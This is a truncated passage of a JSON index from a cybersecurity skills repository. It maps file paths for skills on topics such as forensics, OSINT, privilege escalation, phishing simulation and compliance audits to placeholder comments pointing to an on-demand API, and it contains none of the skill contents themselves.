/api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-mobile-device-forensics-with-cellebrite%2FSKILL.md -->","skills/performing-mobile-device-forensics-with-cellebrite/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-mobile-device-forensics-with-cellebrite%2Freferences%2Fapi-reference.md -->","skills/performing-network-forensics-with-wireshark/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-network-forensics-with-wireshark%2FSKILL.md -->","skills/performing-network-forensics-with-wireshark/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-network-forensics-with-wireshark%2Freferences%2Fapi-reference.md -->","skills/performing-network-packet-capture-analysis/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-network-packet-capture-analysis%2FSKILL.md -->","skills/performing-network-packet-capture-analysis/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-network-packet-capture-analysis%2Fassets%2Ftemplate.md -->","skills/performing-network-packet-capture-analysis/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-network-packet-capture-analysis%2Freferences%2Fapi-reference.md -->","skills/performing-network-packet-capture-analysis/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-network-packet-capture-analysis%2Freferences%2Fstandards.md -->","skills/performing-network-packet-capture-analysis/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-network-packet-capture-analysis%2Freferences%2Fworkflows.md -->","skills/performing-network-traffic-analysis-with-tshark/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-network-traffic-analysis-with-tshark%2FSKILL.md -->","skills/performing-network-traffic-analysis-with-tshark/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-network-traffic-analysis-with-tshark%2Freferences%2Fapi-reference.md -->","skills/performing-network-traffic-analysis-with-zeek/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-network-traffic-analysis-with-zeek%2FSKILL.md -->","skills/performing-network-traffic-analysis-with-zeek/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-network-traffic-analysis-with-zeek%2Freferences%2Fapi-reference.md -->","skills/performing-nist-csf-maturity-assessment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-nist-csf-maturity-assessment%2FSKILL.md -->","skills/performing-nist-csf-maturity-assessment/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-nist-csf-maturity-assessment%2Fassets%2Ftemplate.md -->","skills/performing-nist-csf-maturity-assessment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-nist-csf-maturity-assessment%2Freferences%2Fapi-reference.md -->","skills/performing-nist-csf-maturity-assessment/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-nist-csf-maturity-assessment%2Freferences%2Fstandards.md -->","skills/performing-nist-csf-maturity-assessment/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-nist-csf-maturity-assessment%2Freferences%2Fworkflows.md -->","skills/performing-oauth-scope-minimization-review/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-oauth-scope-minimization-review%2FSKILL.md -->","skills/performing-oauth-scope-minimization-review/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-oauth-scope-minimization-review%2Freferences%2Fapi-reference.md -->","skills/performing-oil-gas-cybersecurity-assessment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-oil-gas-cybersecurity-assessment%2FSKILL.md -->","skills/performing-oil-gas-cybersecurity-assessment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-oil-gas-cybersecurity-assessment%2Freferences%2Fapi-reference.md -->","skills/performing-open-source-intelligence-gathering/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-open-source-intelligence-gathering%2FSKILL.md -->","skills/performing-open-source-intelligence-gathering/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-open-source-intelligence-gathering%2Fassets%2Ftemplate.md -->","skills/performing-open-source-intelligence-gathering/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-open-source-intelligence-gathering%2Freferences%2Fapi-reference.md -->","skills/performing-open-source-intelligence-gathering/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-open-source-intelligence-gathering%2Freferences%2Fstandards.md -->","skills/performing-open-source-intelligence-gathering/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-open-source-intelligence-gathering%2Freferences%2Fworkflows.md -->","skills/performing-osint-with-spiderfoot/SKILL.es.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-osint-with-spiderfoot%2FSKILL.es.md -->","skills/performing-osint-with-spiderfoot/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-osint-with-spiderfoot%2FSKILL.md -->","skills/performing-osint-with-spiderfoot/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-osint-with-spiderfoot%2Freferences%2Fapi-reference.md -->","skills/performing-ot-network-security-assessment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ot-network-security-assessment%2FSKILL.md -->","skills/performing-ot-network-security-assessment/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ot-network-security-assessment%2Fassets%2Ftemplate.md -->","skills/performing-ot-network-security-assessment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ot-network-security-assessment%2Freferences%2Fapi-reference.md -->","skills/performing-ot-network-security-assessment/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ot-network-security-assessment%2Freferences%2Fstandards.md -->","skills/performing-ot-network-security-assessment/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ot-network-security-assessment%2Freferences%2Fworkflows.md -->","skills/performing-ot-vulnerability-assessment-with-claroty/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ot-vulnerability-assessment-with-claroty%2FSKILL.md -->","skills/performing-ot-vulnerability-assessment-with-claroty/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ot-vulnerability-assessment-with-claroty%2Freferences%2Fapi-reference.md -->","skills/performing-ot-vulnerability-scanning-safely/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ot-vulnerability-scanning-safely%2FSKILL.md -->","skills/performing-ot-vulnerability-scanning-safely/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ot-vulnerability-scanning-safely%2Freferences%2Fapi-reference.md -->","skills/performing-packet-injection-attack/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-packet-injection-attack%2FSKILL.md -->","skills/performing-packet-injection-attack/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-packet-injection-attack%2Freferences%2Fapi-reference.md -->","skills/performing-paste-site-monitoring-for-credentials/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-paste-site-monitoring-for-credentials%2FSKILL.md -->","skills/performing-paste-site-monitoring-for-credentials/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-paste-site-monitoring-for-credentials%2Freferences%2Fapi-reference.md -->","skills/performing-phishing-simulation-with-gophish/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-phishing-simulation-with-gophish%2FSKILL.md -->","skills/performing-phishing-simulation-with-gophish/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-phishing-simulation-with-gophish%2Fassets%2Ftemplate.md -->","skills/performing-phishing-simulation-with-gophish/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-phishing-simulation-with-gophish%2Freferences%2Fapi-reference.md -->","skills/performing-phishing-simulation-with-gophish/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-phishing-simulation-with-gophish%2Freferences%2Fstandards.md -->","skills/performing-phishing-simulation-with-gophish/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-phishing-simulation-with-gophish%2Freferences%2Fworkflows.md -->","skills/performing-physical-intrusion-assessment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-physical-intrusion-assessment%2FSKILL.md -->","skills/performing-physical-intrusion-assessment/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-physical-intrusion-assessment%2Fassets%2Ftemplate.md -->","skills/performing-physical-intrusion-assessment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-physical-intrusion-assessment%2Freferences%2Fapi-reference.md -->","skills/performing-physical-intrusion-assessment/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-physical-intrusion-assessment%2Freferences%2Fstandards.md -->","skills/performing-physical-intrusion-assessment/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-physical-intrusion-assessment%2Freferences%2Fworkflows.md -->","skills/performing-plc-firmware-security-analysis/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-plc-firmware-security-analysis%2FSKILL.md -->","skills/performing-plc-firmware-security-analysis/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-plc-firmware-security-analysis%2Freferences%2Fapi-reference.md -->","skills/performing-post-quantum-cryptography-migration/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-post-quantum-cryptography-migration%2FSKILL.md -->","skills/performing-post-quantum-cryptography-migration/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-post-quantum-cryptography-migration%2Freferences%2Fapi-reference.md -->","skills/performing-power-grid-cybersecurity-assessment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-power-grid-cybersecurity-assessment%2FSKILL.md -->","skills/performing-power-grid-cybersecurity-assessment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-power-grid-cybersecurity-assessment%2Freferences%2Fapi-reference.md -->","skills/performing-privacy-impact-assessment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privacy-impact-assessment%2FSKILL.md -->","skills/performing-privacy-impact-assessment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privacy-impact-assessment%2Freferences%2Fapi-reference.md -->","skills/performing-privilege-escalation-assessment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privilege-escalation-assessment%2FSKILL.md -->","skills/performing-privilege-escalation-assessment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privilege-escalation-assessment%2Freferences%2Fapi-reference.md -->","skills/performing-privilege-escalation-on-linux/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privilege-escalation-on-linux%2FSKILL.md -->","skills/performing-privilege-escalation-on-linux/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privilege-escalation-on-linux%2Freferences%2Fapi-reference.md -->","skills/performing-privilege-escalation-on-linux/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privilege-escalation-on-linux%2Freferences%2Fstandards.md -->","skills/performing-privilege-escalation-on-linux/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privilege-escalation-on-linux%2Freferences%2Fworkflows.md -->","skills/performing-privileged-account-access-review/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privileged-account-access-review%2FSKILL.md -->","skills/performing-privileged-account-access-review/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privileged-account-access-review%2Fassets%2Ftemplate.md -->","skills/performing-privileged-account-access-review/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privileged-account-access-review%2Freferences%2Fapi-reference.md -->","skills/performing-privileged-account-access-review/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privileged-account-access-review%2Freferences%2Fstandards.md -->","skills/performing-privileged-account-access-review/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privileged-account-access-review%2Freferences%2Fworkflows.md -->","skills/performing-privileged-account-discovery/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privileged-account-discovery%2FSKILL.md -->","skills/performing-privileged-account-discovery/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privileged-account-discovery%2Freferences%2Fapi-reference.md -->","skills/performing-purple-team-atomic-testing/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-purple-team-atomic-testing%2FSKILL.md -->","skills/performing-purple-team-atomic-testing/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-purple-team-atomic-testing%2Freferences%2Fapi-reference.md -->","skills/performing-purple-team-exercise/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-purple-team-exercise%2FSKILL.md -->","skills/performing-purple-team-exercise/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-purple-team-exercise%2Freferences%2Fapi-reference.md -->","skills/performing-ransomware-response/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ransomware-response%2FSKILL.md -->","skills/performing-ransomware-response/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ransomware-response%2Freferences%2Fapi-reference.md -->","skills/performing-ransomware-tabletop-exercise/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ransomware-tabletop-exercise%2FSKILL.md -->","skills/performing-ransomware-tabletop-exercise/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ransomware-tabletop-exercise%2Fassets%2Ftemplate.md -->","skills/performing-ransomware-tabletop-exercise/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ransomware-tabletop-exercise%2Freferences%2Fapi-reference.md -->","skills/performing-ransomware-tabletop-exercise/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ransomware-tabletop-exercise%2Freferences%2Fstandards.md -->","skills/performing-ransomware-tabletop-exercise/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ransomware-tabletop-exercise%2Freferences%2Fworkflows.md -->","skills/performing-red-team-phishing-with-gophish/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-red-team-phishing-with-gophish%2FSKILL.md -->","skills/performing-red-team-phishing-with-gophish/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-red-team-phishing-with-gophish%2Freferences%2Fapi-reference.md -->","skills/performing-red-team-with-covenant/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-red-team-with-covenant%2FSKILL.md -->","skills/performing-red-team-with-covenant/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-red-team-with-covenant%2Freferences%2Fapi-reference.md -->","skills/performing-s7comm-protocol-security-analysis/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-s7comm-protocol-security-analysis%2FSKILL.md -->","skills/performing-s7comm-protocol-security-analysis/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-s7comm-protocol-security-analysis%2Freferences%2Fapi-reference.md -->","skills/performing-sca-dependency-scanning-with-snyk/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-sca-dependency-scanning-with-snyk%2FSKILL.md -->","skills/performing-sca-dependency-scanning-with-snyk/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-sca-dependency-scanning-with-snyk%2Fassets%2Ftemplate.md -->","skills/performing-sca-dependency-scanning-with-snyk/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-sca-dependency-scanning-with-snyk%2Freferences%2Fapi-reference.md -->","skills/performing-sca-dependency-scanning-with-snyk/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-sca-dependency-scanning-with-snyk%2Freferences%2Fstandards.md -->","skills/performing-sca-dependency-scanning-with-snyk/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-sca-dependency-scanning-with-snyk%2Freferences%2Fworkflows.md -->","skills/performing-scada-hmi-security-assessment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-scada-hmi-security-assessment%2FSKILL.md -->","skills/performing-scada-hmi-security-assessment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-scada-hmi-security-assessment%2Freferences%2Fapi-reference.md -->","skills/performing-second-order-sql-injection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-second-order-sql-injection%2FSKILL.md -->","skills/performing-second-order-sql-injection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-second-order-sql-injection%2Freferences%2Fapi-reference.md -->","skills/performing-security-headers-audit/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-security-headers-audit%2FSKILL.md -->","skills/performing-security-headers-audit/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-security-headers-audit%2Freferences%2Fapi-reference.md -->","skills/performing-serverless-function-security-review/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-serverless-function-security-review%2FSKILL.md -->","skills/performing-serverless-function-security-review/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-serverless-function-security-review%2Freferences%2Fapi-reference.md -->","skills/performing-service-account-audit/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-service-account-audit%2FSKILL.md -->","skills/performing-service-account-audit/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-service-account-audit%2Fassets%2Ftemplate.md -->","skills/performing-service-account-audit/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-service-account-audit%2Freferences%2Fapi-reference.md -->","skills/performing-service-account-audit/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-service-account-audit%2Freferences%2Fstandards.md -->","skills/performing-service-account-audit/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-service-account-audit%2Freferences%2Fworkflows.md -->","skills/performing-service-account-credential-rotation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-service-account-credential-rotation%2FSKILL.md -->","skills/performing-service-account-credential-rotation/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-service-account-credential-rotation%2Fassets%2Ftemplate.md -->","skills/performing-service-account-credential-rotation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-service-account-credential-rotation%2Freferences%2Fapi-reference.md -->","skills/performing-service-account-credential-rotation/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-service-account-credential-rotation%2Freferences%2Fstandards.md -->","skills/performing-service-account-credential-rotation/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-service-account-credential-rotation%2Freferences%2Fworkflows.md -->","skills/performing-soap-web-service-security-testing/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-soap-web-service-security-testing%2FSKILL.md -->","skills/performing-soap-web-service-security-testing/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-soap-web-service-security-testing%2Freferences%2Fapi-reference.md -->","skills/performing-soc-tabletop-exercise/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-soc-tabletop-exercise%2FSKILL.md -->","skills/performing-soc-tabletop-exercise/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-soc-tabletop-exercise%2Freferences%2Fapi-reference.md -->","skills/performing-soc2-type2-audit-preparation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-soc2-type2-audit-preparation%2FSKILL.md -->","skills/performing-soc2-type2-audit-preparation/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-soc2-type2-audit-preparation%2Fassets%2Ftemplate.md -->","skills/performing-soc2-type2-audit-preparation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-soc2-type2-audit-preparation%2Freferences%2Fapi-reference.md -->","skills/performing-soc2-type2-audit-preparation/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-soc2-type2-audit-preparation%2Freferences%2Fstandards.md -->","skills/performing-soc2-type2-audit-preparation/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-soc2-type2-audit-preparation%2Freferences%2Fworkflows.md -->","skills/performing-sqlite-database-forensics/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-sqlite-database-forensics%2FSKILL.md -->","skills/performing-sqlite-database-forensics/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-sqlite-database-forensics%2Fassets%2Ftemplate.md -->","skills/performing-sqlite-database-forensics/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-sqlite-database-forensics%2Freferences%2Fapi-reference.md -->","skills/performing-sqlite-database-forensics/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-sqlite-database-forensics%2Freferences%2Fstandards.md -->","skills/performing-sqlite-database-forensics/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-sqlite-database-forensics%2Freferences%2Fworkflows.md -->","skills/performing-ssl-certificate-lifecycle-management/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssl-certificate-lifecycle-management%2FSKILL.md -->","skills/performing-ssl-certificate-lifecycle-management/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssl-certificate-lifecycle-management%2Fassets%2Ftemplate.md -->","skills/performing-ssl-certificate-lifecycle-management/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssl-certificate-lifecycle-management%2Freferences%2Fapi-reference.md -->","skills/performing-ssl-certificate-lifecycle-management/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssl-certificate-lifecycle-management%2Freferences%2Fstandards.md -->","skills/performing-ssl-certificate-lifecycle-management/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssl-certificate-lifecycle-management%2Freferences%2Fworkflows.md -->","skills/performing-ssl-stripping-attack/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssl-stripping-attack%2FSKILL.md -->","skills/performing-ssl-stripping-attack/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssl-stripping-attack%2Freferences%2Fapi-reference.md -->","skills/performing-ssl-tls-inspection-configuration/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssl-tls-inspection-configuration%2FSKILL.md -->","skills/performing-ssl-tls-inspection-configuration/references/api-reference.md":"<!-- Skill available on-demand via 